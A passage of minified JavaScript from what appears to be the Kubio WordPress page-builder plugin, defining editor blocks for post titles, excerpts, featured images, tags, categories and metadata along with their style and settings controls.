color","kubio"),path:"typography.color"},n,{state:"hover"})),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},n,{nodeType:a})),Object(xe.createElement)(Re.TextShadowControlPopupWithPath,Object(ut.a)({path:"textShadow"},n)))})),lS=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(aS,null)),rS=Object(He.composeWithKubioDataAndStyle)((e=>{const{StyledElements:t,context:o}=e,{postId:n,postType:a}=o,l=Object(Ve.useSelect)((e=>{var t;return null===(t=e("core").getEditedEntityRecord("postType",a,n))||void 0===t?void 0:t.title}),[a,n]);return Object(xe.createElement)(t.Link,null,Object(xe.createElement)(t.Container,null,l||Object(We.__)("(Post Title)","kubio")))}),(e=>({tagName:e.getAttribute("headingType")})),(function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[eS]:{className:"kubio-post-title",tag:(null==e?void 0:e.tagName)||"h2"}}}));const iS={name:"kubio/post-title",category:"kubio-blog-components",attributes:{kubio:{type:"object"},headingType:{type:"string",default:"h2"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{typography:{decoration:"none"}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link"},elementsByName:{container:{tag:"h2",selector:"p.wp-block, h1.wp-block, h2.wp-block, h3.wp-block, h4.wp-block, h5.wp-block, h6.wp-block",selectorPrepend:!0,wrapper:!0,default:!0},link:{prefixWithTag:!0,internal:!0,props:{className:["d-block"],tag:"a"}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"container"}}]}}}},cS=Object(nn.extendBlockMeta)(iS,{title:Object(We.__)("Post title","kubio"),description:Object(We.__)("Create beautiful post titles. Customize their typography, color, shadow, borders, and background.","kubio"),keywords:[Object(We.__)("post","kubio"),Object(We.__)("title","kubio"),Object(We.__)("article","kubio")],icon:on.BlockIcons.PostTitle,apiVersion:2,supports:{kubio:{elementsByName:tS},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(nS,null),Object(xe.createElement)(lS,null),Object(xe.createElement)(rS,e))}});var sS=()=>Object(xe.createElement)("div",{className:"excerpt-length-wrapper"},Object(xe.createElement)(Re.RangeWithPath,{label:Object(We.__)("Excerpt length","kubio"),max:100,min:10,path:"wordCount",type:He.WithDataPathTypes.ATTRIBUTE})),uS=Object(He.withPropsChecker)((function(e){const{attributes:{wordCount:t},context:{postId:o,postType:n}}=e,a=function(e,t,o){const[,,n]=Object(pt.useEntityProp)("postType",o,"excerpt",t),a=null==n?void 0:n.rendered,[,,l]=Object(pt.useEntityProp)("postType",o,"content",t),r=null==l?void 0:l.rendered,i=a||r,c=Object(We.__)("No post excerpt found","kubio"),s=Object(xe.useMemo)((()=>{const t=document.createElement("div");t.innerHTML=i;const o=(t.textContent||t.innerText||c).replace(/\n/gim," ").trim().split(" ").filter(Boolean),n=o.slice(0,e);return n.length!==o.length&&n.push("[…]"),n.join(" ")||c}),[i,e]);return"page"===o?Object(xe.createElement)(Re.BlockPlaceholder,{title:Object(We.__)("Pages do not support excerpt by default.","kubio"),isSmall:!0}):s}(t,o,n);return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(gy,{showLead:!1,atEndOfTextProperties:Object(xe.createElement)(sS,e),title:Object(We.__)("Post summary properties","kubio")}),Object(xe.createElement)(jy,{withTextShadow:!1,styleTitle:Object(We.__)("Excerpt","kubio")}),Object(xe.createElement)(hy,Object(ut.a)({},e,{isDynamic:!0}),a))}));const pS=Object(nn.extendBlockMeta)({name:"kubio/text",category:"kubio-basic",attributes:{kubio:{type:"object"},content:{type:"string",source:"html",default:""},dropCap:{type:"boolean",default:!1}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{},props:{isLead:!1}},elementsEnum:{TEXT:"text",FIRSTLETTER:"first-letter"},elementsByName:{text:{default:!0,wrapper:!0,selector:"p.wp-block.wp-block-kubio-text__text",selectorPrepend:!0,props:{tag:"p"}},"first-letter":{selector:"&::first-letter"}},template:{type:"element",props:{name:"text"}}}}},{name:"kubio/post-excerpt",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{wordCount:{type:"number",default:16}},supports:{kubio:{appearanceEffect:!0,elementsByName:{text:{default:!0,wrapper:!0,selector:!1,selectorPrepend:!1}}}}}),bS=Object(nn.extendBlockMeta)(pS,{title:Object(We.__)("Post Summary","kubio"),description:Object(We.__)("Create a short enticing summary of your blog article to serve as a preview in your blog listing.","kubio"),keywords:[Object(We.__)("excerpt","kubio")],icon:on.BlockIcons.PostExcerpt,apiVersion:2,supports:{kubio:{elementsByName:uy},reusable:!1,html:!1},edit:uS}),mS="container",dS="image",hS="align",OS={[mS]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:cn.StatesPresetsEnum.BASIC,filters:{spacing:{supportsPadding:!1}}}}},gS=[{value:"16-9",label:Object(We.__)("16:9 - HD","kubio")},{value:"4-3",label:Object(We.__)("4:3","kubio")},{value:"1-1",label:Object(We.__)("1:1","kubio")},{value:"custom",label:Object(We.__)("Custom","kubio")}],yS={COVER:"cover",CONTAIN:"contain",FILL:"fill"},jS={values:yS,options:[{value:yS.COVER,label:Object(We.__)("Cover","kubio")},{value:yS.CONTAIN,label:Object(We.__)("Contain","kubio")},{value:yS.FILL,label:Object(We.__)("Natural size","kubio")}]},kS={options:Re.BackgroundUiUtils.ImageProperties.position.filter((e=>"custom"!==e.value))},ES={imageSize:jS,defaultImageUrl:Object(un.defaultAssetURL)("featured-image-placeholder.png"),imagePosition:kS,aspectRatioOptions:gS};var fS=Object(He.withComputedData)((e=>({isNaturalSize:e.getStyle("object.fit",null,{styledComponent:dS})===ES.imageSize.values.FILL,aspectRatio:e.getProp("aspectRatio"),showPlaceholder:e.getAttribute("showPlaceholder")})))((e=>{let{computed:t}=e;const{isNaturalSize:o,aspectRatio:n,showPlaceholder:a}=t,l={type:He.WithDataPathTypes.STYLE,style:dS},r={type:He.WithDataPathTypes.STYLE,style:mS};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Featured image properties","kubio")},Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Show image placeholder","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"showPlaceholder"}),a&&Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Placeholder color","kubio"),path:"background.color"},r)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ToggleGroupWithPath,Object(ut.a)({label:Object(We.__)("Image size","kubio"),path:"object.fit",options:ES.imageSize.options,media:"desktop"},l)),!o&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectControlWithPath,{options:ES.aspectRatioOptions,label:Object(We.__)("Aspect ratio","kubio"),type:He.WithDataPathTypes.PROP,path:"aspectRatio"}),"custom"===n&&Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Image height","kubio"),path:"height",max:1e3},r)),Object(xe.createElement)(Re.SelectControlWithPath,Object(ut.a)({label:Object(We.__)("Image position","kubio"),path:"object.position",options:ES.imagePosition.options},l))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TooltipWrapper,{leftPosition:"55px",text:Object(We.__)("Post link will be added to featured image","kubio")},Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Add link","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"addLink"})),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Horizontal align","kubio"),path:"textAlign"},r)),Object(xe.createElement)(Re.VerticalAlignControlWithPath,{path:"verticalAlign",label:Object(We.__)("Content vertical position","kubio"),type:He.WithDataPathTypes.PROP})))}));const vS=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(fS,null));var _S=Object(He.withColibriDataAutoSave)((e=>{}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:mS};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Featured image","kubio")},Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},o)),Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({path:"boxShadow"},o)))}));const CS=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(_S,null)),IS=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>{const{context:o}=t,{postId:n,postType:a}=o,l=e.getAttribute("showPlaceholder"),r=e.getStyle("object.fit",null,{styledComponent:dS})===ES.imageSize.values.FILL,[i]=Object(pt.useEntityProp)("postType",a,"featured_media",n),c=Object(Ve.useSelect)((e=>i&&e("core").getMedia(i)),[i]),s=null==c?void 0:c.source_url;return{showPlaceholder:l,isNaturalSize:r,featuredImageUrl:s,hasImage:s||!s&&!l,verticalAlignByMedia:e.getPropByMedia("verticalAlign"),aspectRatio:e.getProp("aspectRatio")}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[mS]:{className:()=>{const{isNaturalSize:t,hasImage:o,aspectRatio:n}=e;let a=[];return t?a.push("kubio-post-featured-image--natural-size"):a=a.concat(`h-aspect-ratio--${n}`),o&&a.push("kubio-post-featured-image--has-image"),a}},[hS]:{className:()=>{const{verticalAlignByMedia:t}=e;return cn.FlexAlign.getVAlignClasses(t,{self:!0})}}}})),Object(He.withContainerBase)()),TS=IS((e=>{const{computed:t,StyledElements:o}=e,{hasImage:n,featuredImageUrl:a}=t;let l;const r=a||ES.defaultImageUrl;n&&(l=Object(xe.createElement)(o.Image,{src:r}));const i=Object(He.normalizeTemplateLock)(e.dataHelper.getAttribute("templateLock",!1)),c=$o({},{templateLock:i});return Object(xe.createElement)(o.Container,null,l,Object(xe.createElement)(o.Inner,null,Object(xe.createElement)(o.Align,c)))}));const SS={name:"kubio/post-featured-image",category:"kubio-blog-components",attributes:{kubio:{type:"object"},showPlaceholder:{type:"boolean",default:!1},imageSize:{type:"string",default:"cover"},addLink:{type:"boolean",default:!1}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{container:{background:{color:"#F79007"},textAlign:"center",height:{value:300,unit:"px"}},image:{object:{position:"center center",fit:"cover"}}}},props:{aspectRatio:"16-9",verticalAlign:"center"}},elementsEnum:{INNER:"inner",CONTAINER:"container",IMAGE:"image",ALIGN:"align"},elementsByName:{container:{default:!0,wrapper:!0,props:{tag:"figure"}},inner:{},image:{props:{tag:"img"}},align:{props:{className:["h-y-container"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{shouldRender:"computed.showImage",name:"image"}},{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},wS=Object(nn.extendBlockMeta)(SS,{title:Object(We.__)("Post Featured Image","kubio"),description:Object(We.__)("Add a relevant and catchy image to every blog article. Adjust its size, borders, shadow, and more.","kubio"),keywords:[Object(We.__)("featured image","kubio"),Object(We.__)("cover image","kubio")],icon:on.BlockIcons.PostFeaturedImage,apiVersion:2,supports:{kubio:{elementsByName:OS},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(vS,null),Object(xe.createElement)(CS,null),Object(xe.createElement)(TS,e))},save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)}}),PS="container",AS="link",BS="placeholder",NS={[PS]:{label:Object(We.__)("Tags container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.NONE,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[AS]:{label:Object(We.__)("Tag links","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[BS]:{label:Object(We.__)("No tags placeholder","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}}};var xS=()=>{const e={type:He.WithDataPathTypes.STYLE,style:PS};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Post tags properties","kubio")},Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Space between links","kubio"),type:He.WithDataPathTypes.STYLE,style:AS,min:0,max:50,path:"margin.right"}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Horizontal align","kubio"),path:"textAlign"},e)),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("No tag placeholder","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"placeholder"})))};const RS=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(xS,null));var DS=Object(He.withColibriDataAutoSave)((e=>{}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:AS};return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Link","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Link color","kubio"),path:"typography.color"},o)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Link hover color","kubio"),path:"typography.color",state:"hover"},o)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography",withColor:!1},o)))}));const LS=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(DS,null)),MS=e=>{const{computed:t,StyledElements:o,context:n}=e,{placeholder:a}=t,[l]=Object(pt.useEntityProp)("postType",n.postType,"tags",n.postId),r=Object(xe.useRef)(),i=Object(Ve.useSelect)((e=>{const{getEntityRecord:t}=e("core");let o=!0;const n=null==l?void 0:l.map((e=>t("taxonomy","post_tag",e)||(o=!1)));return o&&n}),[l]),c=e=>{"a"===e.target.tagName.toLowerCase()&&(e.preventDefault(),e.stopPropagation())};let s;Object(xe.useEffect)((()=>{var e;return null===(e=r.current)||void 0===e||e.addEventListener("click",c),()=>{var e;return null===(e=r.current)||void 0===e?void 0:e.removeEventListener("click",c)}}),[]),n.postType&&n.postId||(s=Object(xe.createElement)(De.Warning,null,Object(We.__)("Post tags block: No post found for this block.","kubio")));let u=s;return s||(u=i&&0!==i.length?null==i?void 0:i.map((e=>Object(xe.createElement)("a",{key:e.name,href:e.link},e.name))):Object(xe.createElement)(o.Placeholder,null,a)),Object(xe.createElement)(o.Container,{ref:r},u)},WS=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>({placeholder:e.getAttribute("placeholder")}))),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[PS]:{},[AS]:{},[BS]:{}}}))),HS=WS(MS);WS(MS);const GS={name:"kubio/post-tags",category:"kubio-blog-components",attributes:{kubio:{type:"object"},placeholder:{type:"string",default:"No tag"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{margin:{right:{value:10,unit:"px"}}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",PLACEHOLDER:"placeholder",TAGS:"tags"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["kubio-post-tags-container"]}},link:{selector:"a",props:{className:["kubio-post-tags-link"]}},placeholder:{props:{className:["kubio-post-tags-placeholder"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"placeholder"}},{type:"element",props:{name:"tags"}}]}}}},US=Object(nn.extendBlockMeta)(GS,{title:Object(We.__)("Post Tags","kubio"),description:Object(We.__)("Add relevant tags to every blog article. This way you will group them under the same index.","kubio"),keywords:[Object(We.__)("tag","kubio")],icon:on.BlockIcons.PostTags,apiVersion:2,supports:{kubio:{elementsByName:NS},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(RS,null),Object(xe.createElement)(LS,null),Object(xe.createElement)(HS,e))}}),FS="container",zS="link",VS="separator",YS="placeholder",$S="tags",KS={[FS]:{label:Object(We.__)("Categories container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.NONE,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[zS]:{label:Object(We.__)("Category links","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[VS]:{label:Object(We.__)("Separator","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[YS]:{label:Object(We.__)("No category placeholder","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE,filters:{[cn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[$S]:{internal:!0}};var qS=()=>{const e={type:He.WithDataPathTypes.STYLE,style:FS};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Post categories properties","kubio")},Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Space between links","kubio"),type:He.WithDataPathTypes.STYLE,style:zS,min:0,max:50,path:["margin.right","margin.left"]}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Horizontal align","kubio"),path:"textAlign"},e)),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Separator","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"separator"}),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("No category placeholder","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"placeholder"})))};const XS=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(qS,null));var QS=Object(He.withColibriDataAutoSave)((e=>{}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:zS},n={type:He.WithDataPathTypes.STYLE,style:[zS,VS]};return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Link","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Link color","kubio"),path:"typography.color"},o)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Link hover color","kubio"),path:"typography.color",state:"hover"},o)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography",withColor:!1},n)))}));const ZS=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(QS,null)),JS=e=>{const{computed:t,StyledElements:o,context:n}=e,{separator:a,placeholder:l}=t,[r]=Object(pt.useEntityProp)("postType",n.postType,"categories",n.postId),i=Object(xe.useRef)(),c=Object(Ve.useSelect)((e=>{const{getEntityRecords:t}=e("core");return t("taxonomy","category",{include:Object(Be.uniq)(r),per_page:-1})}),[r]),s=e=>{"a"===e.target.tagName.toLowerCase()&&(e.preventDefault(),e.stopPropagation())};let u;Object(xe.useEffect)((()=>{var e;return null===(e=i.current)||void 0===e||e.addEventListener("click",s),()=>{var e;return null===(e=i.current)||void 0===e?void 0:e.removeEventListener("click",s)}}),[]),n.postType&&n.postId||(u=Object(We.__)("Post categories block: No post found for this block.","kubio"));let p=Object(xe.createElement)(De.Warning,{actions:[]},u);const b=c&&c.length;return u||(p=Object(xe.createElement)(xe.Fragment,null,b>0&&Object(xe.createElement)(o.Tags,{ref:i},null==c?void 0:c.map(((e,t)=>Object(xe.createElement)(xe.Fragment,{key:e.id},Object(xe.createElement)("a",{href:e.link},e.name),t<c.length-1&&a?Object(xe.createElement)("span",{className:"separator"},a):"")))),!b&&Object(xe.createElement)(o.Placeholder,null,l))),Object(xe.createElement)(o.Container,{ref:i},p)},ew=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>({separator:e.getAttribute("separator"),placeholder:e.getAttribute("placeholder")}))),Object(He.withStyledElements)((()=>({[FS]:{className:"kubio-post-categories-container"},[YS]:{className:"kubio-post-categories-placeholder"}})))),tw=ew(JS);ew(JS);const ow={name:"kubio/post-categories",category:"kubio-blog-components",attributes:{kubio:{type:"object"},separator:{type:"string",default:"-"},placeholder:{type:"string",default:"No category"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{margin:{right:{value:10,unit:"px"},left:{value:10,unit:"px"}}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",SEPARATOR:"separator",PLACEHOLDER:"placeholder",TAGS:"tags"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["kubio-post-categories-container"]}},link:{selector:"a"},separator:{selector:".separator"},placeholder:{props:{className:["kubio-post-categories-placeholder"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"placeholder"}},{type:"element",props:{name:"tags"}}]}}}},nw=Object(nn.extendBlockMeta)(ow,{title:Object(We.__)("Post Categories","kubio"),description:Object(We.__)("Add categories to your blog articles in order to make it easier for users to browse similar topics.","kubio"),keywords:[Object(We.__)("category","kubio")],icon:on.BlockIcons.PostCategories,apiVersion:2,supports:{kubio:{elementsByName:KS},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(XS,null),Object(xe.createElement)(ZS,null),Object(xe.createElement)(tw,e))}}),aw={METADATACONTAINER:"metaDataContainer",METADATALINKS:"metaDataLinks",METADATAPREFIX:"metaDataPrefix",METADATASUFFIX:"metaDataSuffix",ICONS:"icons",SEPARATORS:"separators"},lw={filters:{border:{supportsBoxShadow:!1}}},rw={[aw.METADATACONTAINER]:{label:Object(We.__)("Metadata Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE,...lw}},[aw.METADATALINKS]:{label:Object(We.__)("Metadata Links","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC,...lw}},[aw.METADATAPREFIX]:{label:Object(We.__)("Metadata Prefix","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC,...lw}},[aw.METADATASUFFIX]:{label:Object(We.__)("Metadata Suffix","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC,...lw}},[aw.ICONS]:{label:Object(We.__)("Icons","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.NONE,...lw}},[aw.SEPARATORS]:{label:Object(We.__)("Separators","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE,...lw}}},iw={dateFormatOptions:[{label:Object(We.__)("March 6, 2021","kubio"),value:"F j, Y"},{label:Object(We.__)("March 6 2021","kubio"),value:"F j Y"},{label:Object(We.__)("6 March 2021","kubio"),value:"j F Y"},{label:Object(We.__)("6 March, 2021","kubio"),value:"j F, Y"},{label:Object(We.__)("30.03.2021","kubio"),value:"d.m.Y"},{label:Object(We.__)("03.30.2021","kubio"),value:"m.d.Y"},{label:Object(We.__)("6 Mar","kubio"),value:"j M"},{label:Object(We.__)("Mar 6","kubio"),value:"M j"},{label:Object(We.__)("March 6","kubio"),value:"F j"},{label:Object(We.__)("6 March","kubio"),value:"j F"}]},cw=e=>{const{item:t,index:o,isActive:n}=e,a=`metadata[${o}]`,l={mergeArrays:!0};return Object(xe.createElement)(xe.Fragment,null,"date"===t.value&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectControlWithPath,Object(ut.a)({label:Object(We.__)("Date format","kubio"),options:iw.dateFormatOptions,type:He.WithDataPathTypes.ATTRIBUTE,path:"dateFormat"},l))),Object(xe.createElement)(Re.InputControlWithPath,Object(ut.a)({label:Object(We.__)("Prefix","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:`${a}.prefix`,useDebounce:!1},l)),Object(xe.createElement)(Re.InputControlWithPath,Object(ut.a)({label:Object(We.__)("Suffix","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:`${a}.suffix`,useDebounce:!1},l)),n&&Object(xe.createElement)(Re.IconPickerWithPath,Object(ut.a)({path:`${a}.icon`,type:He.WithDataPathTypes.ATTRIBUTE},l)))};var sw=Object(He.withComputedData)((e=>{const t=e.getAttribute("metadata",[]),o=t.filter((e=>null==e?void 0:e.check)),n=t.map((e=>({...e,title:null==e?void 0:e.name})));return{defaultTextAlign:Object(tl.useInheritedTextAlign)(),items:n,onToggleTarget:(t,n,a)=>{if(!n&&o.length<2)return;const l=`metadata.[${a}].check`;e.setAttribute(l,n,{mergeArrays:!0})},onMetaItemsSortEnd:t=>{let{oldIndex:o,newIndex:a}=t;const l=Ne.a.cloneDeep(n),r=l.splice(o,1)[0];l.splice(a,0,r),e.setAttribute("metadata",l,{mergeData:!1})}}}))((e=>{let{computed:t}=e;const{items:o,onToggleTarget:n,onMetaItemsSortEnd:a,spaceBetween:l}=t,r={type:He.WithDataPathTypes.STYLE,style:aw.METADATACONTAINER},{defaultTextAlign:i}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Metadata properties","kubio")},Object(xe.createElement)(Re.HorizontalFlexAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Horizontal align","kubio"),path:"justifyContent",defaultValue:i},r)),Object(xe.createElement)(Re.SortableAccordion,{selectItem:!1,items:o,allowDuplicate:!1,allowDelete:!1,onToggleTarget:n,toggleTarget:"check",onSortEnd:a,contentRendered:(e,t,o)=>Object(xe.createElement)(cw,{item:e,index:t,isActive:o})}),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Separator","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"separator"}),Object(xe.createElement)(Re.ToggleControlWithPath,{type:He.WithDataPathTypes.ATTRIBUTE,path:"showIcons",label:Object(We.__)("Show icons","kubio")})))}));const uw=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(sw,null)),pw={type:He.WithDataPathTypes.STYLE,style:aw.TEXT},bw={type:He.WithDataPathTypes.STYLE,style:aw.METADATALINKS},mw={type:He.WithDataPathTypes.STYLE,style:aw.ICONS};var dw=Object(He.withColibriDataAutoSave)((e=>({typography:{onChange:t=>{e.setStyle("typography",t,{styledComponent:aw.METADATALINKS}),e.setStyle("typography",t,{styledComponent:aw.METADATAPREFIX}),e.setStyle("typography",t,{styledComponent:aw.METADATASUFFIX})},onReset:()=>{const t={unset:!0,ignoredPathOnUnset:"color"};e.setStyle("typography",null,{...t,styledComponent:aw.METADATALINKS}),e.setStyle("typography",null,{...t,styledComponent:aw.METADATAPREFIX}),e.setStyle("typography",null,{...t,styledComponent:aw.METADATASUFFIX})}},spaceBetween:function(){const t={styledComponent:aw.SEPARATORS},o=e.getStyle("padding.left",null,t);return isNaN(null==o?void 0:o.value)||(o.value=2*o.value),{value:o,onChange:o=>{const n={value:parseInt(parseInt(null==o?void 0:o.value)/2),unit:"px"},a={left:n,right:n};e.setStyle("padding",a,t)},onReset:()=>{const o={...t,unset:!0};e.setStyle("padding.left",null,o),e.setStyle("padding.right",null,o)}}}()})))((e=>{let{computed:t}=e;const{spaceBetween:o,typography:n}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Metadata","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color"},pw)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Link color","kubio"),path:"typography.color"},bw,{defaultValue:Object(tl.useInheritedTypographyValue)("a","color")})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Link hover color","kubio"),path:"typography.color",state:"hover"},bw,{defaultValue:Object(tl.useInheritedTypographyValue)("a.states.hover","color")})),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon color","kubio"),path:"fill"},mw,{defaultValue:Object(tl.useInheritedTypographyValue)("a","color")})),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon 